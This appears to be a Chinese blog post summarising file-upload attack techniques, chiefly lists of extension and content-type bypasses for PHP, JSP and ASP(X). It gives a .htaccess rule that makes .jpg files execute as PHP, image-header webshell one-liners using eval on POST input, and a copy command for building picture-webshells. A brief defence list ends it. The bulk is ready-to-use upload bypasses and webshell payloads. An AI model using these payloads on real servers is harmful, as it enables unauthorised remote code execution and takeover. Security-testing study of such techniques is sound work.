文件上传总结

Mathieu 于 2024-06-15 发布

文件上传总结

说明

服务器对用户上传的文件没进行严格校验导致被上传恶意的文件达到服务器控制权限丢失的结果。

绕过

前端校验

这个直接抓包改后缀即可

后端校验(黑名单)

  1. PHP
    1. 大小写双写:shell.PHp,shell.pphphp
    2. 特殊扩展名:shell.php5shell.phtmlshell.phpsshell.pharshell.phtshell.inc(配置错误时可能存在)
    3. Windows下:

      后缀后加点或者点空格或者shell.php::$DATA

    4. .htaccess 

      操作:

       **文件1:**
       .htaccess
       **内容:**
       AddType application/x-httpd-php .jpg
       **文件2**
       shell.jpg
      

      上传一个自定义的 .htaccess 文件,重写Apache解析规则,强制将 .jpg 文件当作 PHP 解析。

  2. JSP
    1. 大小写双写
    2. 特殊扩展:shell.jspxshell.jswshell.jsvshell.jspf
    3. Windows:shell.jsp.shell.jspshell.jsp::$DATA
    4. 目录遍历:../shell.jsp
    5. web.xml 攻击:类似于 .htaccess,但 Java EE 中 web.xml 通常不允许用户上传覆盖。极少数配置错误情况下可能。
  3. ASP(X)
    1. ASP经典:shell.asashell.cershell.cdx
    2. ASP.NET:shell.aspxshell.ashxshell.asmxshell.ascx
    3. Windows:shell.asp.shell.aspshell.asp::$DATA
    4. IIS解析漏洞:shell.asp;.jpg/xx.asp/xx.jpgshell.jpg/xxx.php

后端校验(白名单)

配合各种中间件的解析漏洞

文件头校验

  1. Content-Type 校验绕过:抓包将 Content-Type: application/php 改为合法的图像类型,如 image/jpegimage/png
  2. 文件内容/文件头校验绕过

    制作图片马(有时检验包体长度,建议一般使用正常的小图片去做而不是直接编辑webshell)

    例如:

    • GIF89a; <?php @eval($_POST['a']);?>
    • ‰PNG... <?php @eval($_POST['a']);?>

    如果存在解析漏洞的话可以使用以下命令制作图片文件后缀的webshell

     copy 1.jpg/b+2.php 3.jpg
    

条件竞争

防御

  1. 严格的白名单后缀和MIME 类型
  2. 文件重命名
  3. 上传文件设置不可执行
  4. 内容检测
  5. 使用隔离存储
  6. 及时更新系统版本
  7. 使用WAF